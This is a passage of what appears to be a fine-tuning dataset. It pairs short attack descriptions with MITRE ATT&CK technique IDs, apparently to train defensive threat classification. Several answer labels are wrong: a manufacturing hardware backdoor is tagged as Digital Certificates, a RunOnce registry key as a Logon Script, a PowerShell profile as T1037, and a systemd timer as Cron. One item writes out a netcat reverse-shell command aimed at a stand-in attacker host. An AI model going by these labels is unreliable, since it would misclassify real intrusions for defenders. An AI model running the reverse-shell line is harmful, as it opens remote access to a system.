                "content": "An attacker issued \"rkt exec\" to execute a reverse shell inside an existing container, bypassing host-based defenses."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a vulnerable SSH key management feature on a VPS provider to inject a malicious public key, gaining persistent access."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware modifies the session token to extend its lifetime and maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrate data from SharePoint by exploiting a misconfigured public sharing link to download private files."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor creates a new user account with admin privileges to maintain access."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A new stored procedure is dropped that reads the Windows SAM file via SQL queries and exfiltrates hashed passwords to a remote listener."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a document prompts the user to enter their network credentials, which are then exfiltrated."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies an existing systemd service to execute a hidden payload after each system start."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved planting a covert hardware implant on the motherboard that activates a backdoor at boot."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware removes the quarantine attribute from a downloaded file, causing Gatekeeper to skip its checks."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executed a base64-encoded command through the Unix shell to decode and run hidden scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor deploys a reverse shell on a virtual private server after capturing the admin's SSH private key from a phishing email."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code invokes the GDI32 PrintWindow function to capture full‑screen screenshots on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistent backdoor is set up by writing a systemd timer that mimics a cron job to launch the attacker’s binary."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post-exploitation, the intruder drops a web shell written in Ruby on Rails to maintain persistent access to the server."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary modifies a systemd service's environment file to inject malicious PATH entries."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware writes malicious payload into the target process’s thread local storage and then updates the thread’s context to execute it."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious JavaScript payload is embedded in a website, which exploits a browser flaw to execute code on the client’s workstation without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits unchanged default credentials on a router to establish a persistent backdoor."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvests the local Administrator password from a compromised host and uses it to log in directly via the console."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised hardware component is introduced during the manufacturing process, containing a hidden backdoor."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modified the IAM role attached to compute instances, granting additional permissions for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the initramfs to include a rogue kernel extension that executes on every reboot."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors accessed the organization's internal npm registry and uploaded a malicious package that mimics a legitimate development tool, leading to credential theft on developer machines."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a supply chain compromise, the attacker hijacks the Windows Trust Provider by modifying the registry to point to a malicious SIP, subverting trust controls on the system."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a local account on the machine using wmic."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages AnyDesk's unattended access feature to execute commands and exfiltrate data from victim machines."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group injected malicious code into a privileged system process via a known CVE, causing antivirus signatures to be ignored."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan captures user login data, applies reversible encryption, and writes the encrypted credentials back to the system's authentication database for later decryption."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker modifies the /etc/profile.d script to insert a reverse shell command that runs on user login."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends a fraudulent email appearing to be from the company's IT department, requesting the recipient to log into a fake portal and enter their Active Directory credentials."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware performs API hooking to inject code into the Windows Explorer process for persistence."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A worm spreads across the network and launches a rapid succession of process creation calls, exhausting the OS process table."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Excel template is placed on a shared drive; when a user opens a new workbook based on the template, the embedded macro runs and downloads additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker extracts service principal names from Active Directory, requests Kerberos service tickets, and then cracks the ticket hashes offline to obtain service account credentials."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a custom web API endpoint to push log files via HTTPS POST, with the server only accepting inbound data and never sending commands back."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro delivered via phishing runs `reg save HKLM\\SYSTEM` to capture system hive for later credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious firmware is installed via the ROM Monitor (ROMMON) to gain persistence before the operating system starts."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group deploys a payload that utilizes the Android camera to record video of the surroundings and sends it over HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder runs 'query user' on a Windows server to display all active sessions and associated usernames."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise a legitimate website and embed a malicious Flash file that exploits a zero‑day, resulting in silent infection of visitors."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor performs password spraying by trying a few typical passwords on a large number of user accounts in an Active Directory domain."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries issue the \"az network security group rule create\" command to open inbound ports on a virtual network."
            },
            {
                "role": "assistant",
                "content": "T1651 - Cloud Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised .msi, the attacker triggers execution by leveraging the Windows Installer's event model to run a PowerShell script."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware uses a custom packer to compress and encrypt its binary, making static analysis difficult."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a compromised OAuth refresh token to gain persistent access to Google Workspace services."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code packages sensitive files into an encrypted archive and pushes the payload to a malicious S3 bucket over TLS, bypassing any C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker alters the Windows registry to include a malicious executable in the RunOnce key, launching it at logon."
            },
            {
                "role": "assistant",
                "content": "T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a misconfigured Git repository to download a repository's .ssh/id_rsa file that was accidentally committed with no passphrase."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker initiates an SSH session to a target host, forwarding ports to tunnel internal traffic and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor altered the federation trust configuration between on‑prem AD FS and Azure AD, disabling conditional access policies."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses credential harvesting via malicious Wi‑Fi hotspot that captures WPA2 handshake data."
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious advertisement (malvertising) embeds a link that, upon clicking, exploits the browser to install a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool modifies the memory of a running process to replace its legitimate code sections with malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a vulnerable cron job by inserting a shell command that runs `nc -e /bin/bash attacker.com 4444` to open a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script uses the \"Add-ADUser\" cmdlet to create a domain account and adds it to the Domain Admins group."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits a vulnerable VNC service to gain remote desktop access to a server."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After obtaining access to a VPS via credential stuffing, the attacker installs crypto‑mining software and uses the server’s resources for illicit mining."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker utilizes the Windows Management Instrumentation class Win32_Group to list local groups."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses the Linux command \"journalctl\" to read the systemd journal for recent error messages."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious shim is deployed to intercept calls to a trusted service, injecting code that runs silently whenever the service is invoked."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes using PowerShell's `Set-Acl` cmdlet to set full access for a malicious account on the Windows Registry HKLM\\Software keys."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware sends LDAP queries to enumerate domain users and groups."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group injects malicious code into legitimate high‑traffic websites so that search engines index the infected pages, leading victims to execute a payload when they follow the search result link."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ asymmetric encryption to hide command and control messages from network analysis tools."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign results in the victim running a script that creates a local admin account."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Reflection amplification is performed by abusing misconfigured LDAP servers, sending queries with the victim's IP, leading to large response packets overwhelming the victim."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit WMI event filters to detect when a specific process terminates, immediately spawning a reverse shell as a response."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A drive‑by compromise scenario where a user’s browser is compromised via a vulnerable Java applet on a compromised site."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a PowerShell profile script (Microsoft.PowerShell_profile.ps1) that loads a malicious module each time PowerShell starts for the user."
            },
            {
                "role": "assistant",
                "content": "T1037 - Boot or Logon Initialization Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys an Office template that executes a payload at Office startup to verify the success of the initial compromise."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compromises a hardware component vendor’s website and replaces legitimate driver downloads with malware-laden versions."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The red team modifies the DACL of a legitimate Windows Installer (.msi) to include Write permissions for the Users group, then drops a malicious payload into the installer."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves modifying the VDSO's .data section to point to shellcode, enabling execution without using typical injection methods."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages regasm.exe to install a malicious assembly as a COM component, allowing persistence through COM registration."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The perpetrator used a brute‑force attack against the password reset feature of a Twitter account, eventually resetting the password and taking control."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
